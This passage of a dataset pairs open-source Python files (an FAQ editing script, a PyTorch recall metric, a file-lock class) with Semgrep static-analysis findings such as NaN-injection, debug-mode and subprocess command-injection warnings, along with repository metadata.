"cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "title": null}, {"url": "https://blog.bitdiscovery.com/2021/12/python-nan-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.nan-injection", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 40, "col": 8, "offset": 952}, "end": {"line": 40, "col": 20, "offset": 964}, "extra": {"message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "metadata": {"references": ["https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "https://blog.bitdiscovery.com/2021/12/python-nan-injection/"], "category": "security", "cwe": ["CWE-704: Incorrect Type Conversion or Cast"], "technology": ["flask"], "subcategory": ["vuln"], "impact": "MEDIUM", "likelihood": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_27bec33b", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 8, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": "CWE-704: Incorrect Type Conversion or Cast", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "title": null}, {"url": "https://blog.bitdiscovery.com/2021/12/python-nan-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.nan-injection", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 51, "col": 8, "offset": 1198}, "end": {"line": 51, "col": 20, "offset": 1210}, "extra": {"message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "metadata": {"references": ["https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "https://blog.bitdiscovery.com/2021/12/python-nan-injection/"], "category": "security", "cwe": ["CWE-704: Incorrect Type Conversion or Cast"], "technology": ["flask"], "subcategory": ["vuln"], "impact": "MEDIUM", "likelihood": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_9b149209", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 54, "line_end": 54, "column_start": 13, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-704: Incorrect Type Conversion or Cast", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "title": null}, {"url": "https://blog.bitdiscovery.com/2021/12/python-nan-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.nan-injection", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 54, "col": 13, "offset": 1267}, "end": {"line": 54, "col": 25, "offset": 1279}, "extra": {"message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "metadata": {"references": ["https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "https://blog.bitdiscovery.com/2021/12/python-nan-injection/"], "category": "security", "cwe": ["CWE-704: Incorrect Type Conversion or Cast"], "technology": ["flask"], "subcategory": ["vuln"], "impact": "MEDIUM", "likelihood": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.debug-enabled_609dcba71fd88f50_f8486f28", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.debug-enabled", "finding_type": "security", "severity": "medium", "confidence": "high", "message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "remediation": "", "location": {"file_path": "unknown", "line_start": 62, "line_end": 62, "column_start": 5, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": "CWE-489: Active Debug Code", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.debug-enabled", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 62, "col": 5, "offset": 1449}, "end": {"line": 62, "col": 24, "offset": 1468}, "extra": {"message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "metadata": {"cwe": ["CWE-489: Active Debug Code"], "owasp": "A06:2017 - Security Misconfiguration", "references": ["https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/"], "category": "security", "technology": ["flask"], "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "CWE-704", "CWE-704", "CWE-704", "CWE-704", "CWE-704" ]
[ "rules.python.flask.security.injection.nan-injection", "rules.python.flask.security.injection.nan-injection", "rules.python.flask.security.injection.nan-injection", "rules.python.flask.security.injection.nan-injection", "rules.python.flask.security.injection.nan-injection" ]
[ "security", "security", "security", "security", "security" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 18, 29, 40, 51, 54 ]
[ 18, 29, 40, 51, 54 ]
[ 8, 8, 8, 8, 13 ]
[ 20, 20, 20, 20, 25 ]
[ "", "", "", "", "" ]
[ "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations ...
[ 7.5, 7.5, 7.5, 7.5, 7.5 ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
app.py
/app.py
WilliamVida/EmergingTechnologiesProject
MIT
2024-11-18T19:23:59.482901+00:00
1,534,870,631,000
58587ca7ebae4099d24d64f415463cce3c1a091d
3
{ "blob_id": "58587ca7ebae4099d24d64f415463cce3c1a091d", "branch_name": "refs/heads/master", "committer_date": 1534870631000, "content_id": "d6c3177e4bb785f4a4318763cab19e6f76518fc1", "detected_licenses": [ "MIT" ], "directory_id": "546f7435f1303d98b169eb30d56fb973e2efc5e1", "extension": "py", "filename": "edit-question.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 144905739, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 743, "license": "MIT", "license_type": "permissive", "path": "/libraryh3lp-sdk-python/examples/edit-question.py", "provenance": "stack-edu-0054.json.gz:569526", "repo_name": "GeorgetownMakerHubOrg/libraryh3lpListener", "revision_date": 1534870631000, "revision_id": "f8862aa6db566b55ed5a91cdbffd726997aa08d3", "snapshot_id": "295da50394a573fa694847122a50e4fe32ce78d4", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/GeorgetownMakerHubOrg/libraryh3lpListener/f8862aa6db566b55ed5a91cdbffd726997aa08d3/libraryh3lp-sdk-python/examples/edit-question.py", "visit_date": "2020-03-26T12:44:33.158886" }
2.5625
stackv2
#!/usr/bin/env python # edit-question.py # ---------------- # Edit your FAQ in the console. Because consoles rock. from subprocess import call import lh3.api import os import sys import tempfile # Takes two command line arguments, FAQ ID and Question ID. faq_id, question_id = sys.argv[1:] client = lh3.api.Client() question = client.one('faqs', faq_id).one('questions', question_id).get(params = {'format': 'json'}) EDITOR = os.environ.get('EDITOR', 'vim') _, temp = tempfile.mkstemp(suffix = '.tmp') with open(temp, 'w') as f: f.write(question['answer']) f.flush() call([EDITOR, temp]) with open(temp, 'r') as f: answer = f.read() client.one('faqs', faq_id).one('questions', question_id).patch({'answer': answer})
32
22.22
100
12
195
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_39fc9331bf43f9cb_bc1d8bb6", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 6, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/39fc9331bf43f9cb.py", "start": {"line": 24, "col": 6, "offset": 516}, "end": {"line": 24, "col": 21, "offset": 531}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_39fc9331bf43f9cb_baaa8533", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 28, "line_end": 28, "column_start": 1, "column_end": 5, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmpb8jm_z1l/39fc9331bf43f9cb.py", "start": {"line": 28, "col": 1, "offset": 585}, "end": {"line": 28, "col": 5, "offset": 589}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_39fc9331bf43f9cb_95a741f3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 28, "line_end": 28, "column_start": 1, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/39fc9331bf43f9cb.py", "start": {"line": 28, "col": 1, "offset": 585}, "end": {"line": 28, "col": 21, "offset": 605}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args_39fc9331bf43f9cb_794f17bd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected subprocess function 'call' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 28, "line_end": 28, "column_start": 6, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/39fc9331bf43f9cb.py", "start": {"line": 28, "col": 6, "offset": 590}, "end": {"line": 28, "col": 20, "offset": 604}, "extra": {"message": "Detected subprocess function 'call' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_39fc9331bf43f9cb_375cbfbb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 6, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/39fc9331bf43f9cb.py", "start": {"line": 30, "col": 6, "offset": 612}, "end": {"line": 30, "col": 21, "offset": 627}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
5
true
[ "", "CWE-78", "CWE-78" ]
[ "rules.python.lang.correctness.unchecked-subprocess-call", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args" ]
[ "correctness", "security", "security" ]
[ "MEDIUM", "LOW", "MEDIUM" ]
[ "MEDIUM", "HIGH", "HIGH" ]
[ 28, 28, 28 ]
[ 28, 28, 28 ]
[ 1, 1, 6 ]
[ 5, 21, 20 ]
[ "", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit t...
[ 5, 7.5, 7.5 ]
[ "", "LOW", "MEDIUM" ]
[ "", "HIGH", "MEDIUM" ]
edit-question.py
/libraryh3lp-sdk-python/examples/edit-question.py
GeorgetownMakerHubOrg/libraryh3lpListener
MIT
2024-11-18T19:23:59.589348+00:00
1,541,156,088,000
5f685832cf83f3d99b7a4bcb5f4fe7b1c7537d9c
3
{ "blob_id": "5f685832cf83f3d99b7a4bcb5f4fe7b1c7537d9c", "branch_name": "refs/heads/master", "committer_date": 1541156088000, "content_id": "3e702b0d3a0df8830cb8598264f2710473ef6f03", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "426101c060b52355c1991c95301f49ef6e4c22ca", "extension": "py", "filename": "recall.py", "fork_events_count": 0, "gha_created_at": 1534318343000, "gha_event_created_at": 1534318343000, "gha_language": null, "gha_license_id": "BSD-3-Clause", "github_id": 144820798, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1751, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/ignite/metrics/recall.py", "provenance": "stack-edu-0054.json.gz:569528", "repo_name": "amitibo/ignite", "revision_date": 1541156088000, "revision_id": "5d1e13a636b73d09eaea3eb130d02889aabb84a4", "snapshot_id": "c6f4780a6ca67889d67197439a73259a47a13042", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/amitibo/ignite/5d1e13a636b73d09eaea3eb130d02889aabb84a4/ignite/metrics/recall.py", "visit_date": "2020-03-26T10:55:28.410222" }
2.8125
stackv2
from __future__ import division import torch from ignite.metrics.metric import Metric from ignite.exceptions import NotComputableError from ignite._utils import to_onehot class Recall(Metric): """ Calculates recall. - `update` must receive output of the form `(y_pred, y)`. If `average` is True, returns the unweighted average across all classes. Otherwise, returns a tensor with the recall for each class. """ def __init__(self, average=False, output_transform=lambda x: x): super(Recall, self).__init__(output_transform) self._average = average def reset(self): self._actual = None self._true_positives = None def update(self, output): y_pred, y = output num_classes = y_pred.size(1) indices = torch.max(y_pred, 1)[1] correct = torch.eq(indices, y) actual_onehot = to_onehot(y, num_classes) actual = actual_onehot.sum(dim=0) if correct.sum() == 0: true_positives = torch.zeros_like(actual) else: correct_onehot = to_onehot(indices[correct], num_classes) true_positives = correct_onehot.sum(dim=0) if self._actual is None: self._actual = actual self._true_positives = true_positives else: self._actual += actual self._true_positives += true_positives def compute(self): if self._actual is None: raise NotComputableError('Recall must have at least one example before it can be computed') result = self._true_positives / self._actual result[result != result] = 0.0 if self._average: return result.mean().item() else: return result
54
31.43
103
14
401
python
[{"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_a0b54346decf8e5e_7fdd2eac", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `result == result` or `result != result`. If testing for floating point NaN, use `math.isnan(result)`, or `cmath.isnan(result)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 50, "line_end": 50, "column_start": 16, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/a0b54346decf8e5e.py", "start": {"line": 50, "col": 16, "offset": 1621}, "end": {"line": 50, "col": 32, "offset": 1637}, "extra": {"message": "This expression is always True: `result == result` or `result != result`. If testing for floating point NaN, use `math.isnan(result)`, or `cmath.isnan(result)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.correctness.useless-eqeq" ]
[ "correctness" ]
[ "MEDIUM" ]
[ "LOW" ]
[ 50 ]
[ 50 ]
[ 16 ]
[ 32 ]
[ "" ]
[ "This expression is always True: `result == result` or `result != result`. If testing for floating point NaN, use `math.isnan(result)`, or `cmath.isnan(result)` if the number is complex." ]
[ 3 ]
[ "" ]
[ "" ]
recall.py
/ignite/metrics/recall.py
amitibo/ignite
BSD-3-Clause
2024-11-18T19:24:03.048907+00:00
1,670,878,064,000
b3321d8171ae3847ee71f3e9849af23965f677d6
3
{ "blob_id": "b3321d8171ae3847ee71f3e9849af23965f677d6", "branch_name": "refs/heads/master", "committer_date": 1670878064000, "content_id": "6f2137b7761704d6256d283e43022a59cfc50dc6", "detected_licenses": [ "Apache-2.0" ], "directory_id": "79a735891c35f4a80ff0ed09af307f7d66cb7c2d", "extension": "py", "filename": "lock.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 166872265, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1145, "license": "Apache-2.0", "license_type": "permissive", "path": "/dewi_utils/lock.py", "provenance": "stack-edu-0054.json.gz:569567", "repo_name": "LA-Toth/dewi_utils", "revision_date": 1670878064000, "revision_id": "f647334cd5dd420fcdae77c73eb1e5c2859c1da5", "snapshot_id": "c93fb1f343ccd9979f9e14abf815d4b0d899fb01", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/LA-Toth/dewi_utils/f647334cd5dd420fcdae77c73eb1e5c2859c1da5/dewi_utils/lock.py", "visit_date": "2022-12-24T18:26:37.247315" }
2.859375
stackv2
# Copyright 2019-2021 Tóth, László Attila # Distributed under the terms of the Apache License, Version 2.0 import fcntl import os class FileLock: def __init__(self, filename: str): self._filename = filename self._fd = None def lock(self): while not self.is_locked: self.try_lock() def unlock(self): if self.is_locked: self._unlock() def try_lock(self): fd = os.open(self._filename, os.O_CREAT | os.O_TRUNC | os.O_RDWR) try: fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB) except (IOError, OSError): os.close(fd) else: self._fd = fd def _unlock(self): fd = self._fd self._fd = None fcntl.flock(fd, fcntl.LOCK_UN) os.close(fd) @property def is_locked(self): return self._fd is not None def __enter__(self): self.lock() return self def __exit__(self, exc_type, exc_val, exc_tb): self.unlock() return self def lock_directory(directory: str): return FileLock(os.path.join(directory, '.lock_file_'))
51
21.39
73
13
298
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_e99bb93c101950d6_db0e82ee", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_locked\" a function or an attribute? If it is a function, you may have meant self.is_locked() because self.is_locked is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 19, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/e99bb93c101950d6.py", "start": {"line": 14, "col": 19, "offset": 288}, "end": {"line": 14, "col": 33, "offset": 302}, "extra": {"message": "Is \"is_locked\" a function or an attribute? If it is a function, you may have meant self.is_locked() because self.is_locked is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_e99bb93c101950d6_43ea7611", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_locked\" a function or an attribute? If it is a function, you may have meant self.is_locked() because self.is_locked is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 12, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/e99bb93c101950d6.py", "start": {"line": 18, "col": 12, "offset": 366}, "end": {"line": 18, "col": 26, "offset": 380}, "extra": {"message": "Is \"is_locked\" a function or an attribute? If it is a function, you may have meant self.is_locked() because self.is_locked is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 14, 18 ]
[ 14, 18 ]
[ 19, 12 ]
[ 33, 26 ]
[ "", "" ]
[ "Is \"is_locked\" a function or an attribute? If it is a function, you may have meant self.is_locked() because self.is_locked is always true.", "Is \"is_locked\" a function or an attribute? If it is a function, you may have meant self.is_locked() because self.is_locked is always true." ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
lock.py
/dewi_utils/lock.py
LA-Toth/dewi_utils
Apache-2.0
2024-11-18T19:24:03.203516+00:00
1,582,698,965,000
326d91babd2fea56a2c9760e3c0a8b9cf2e65345
3
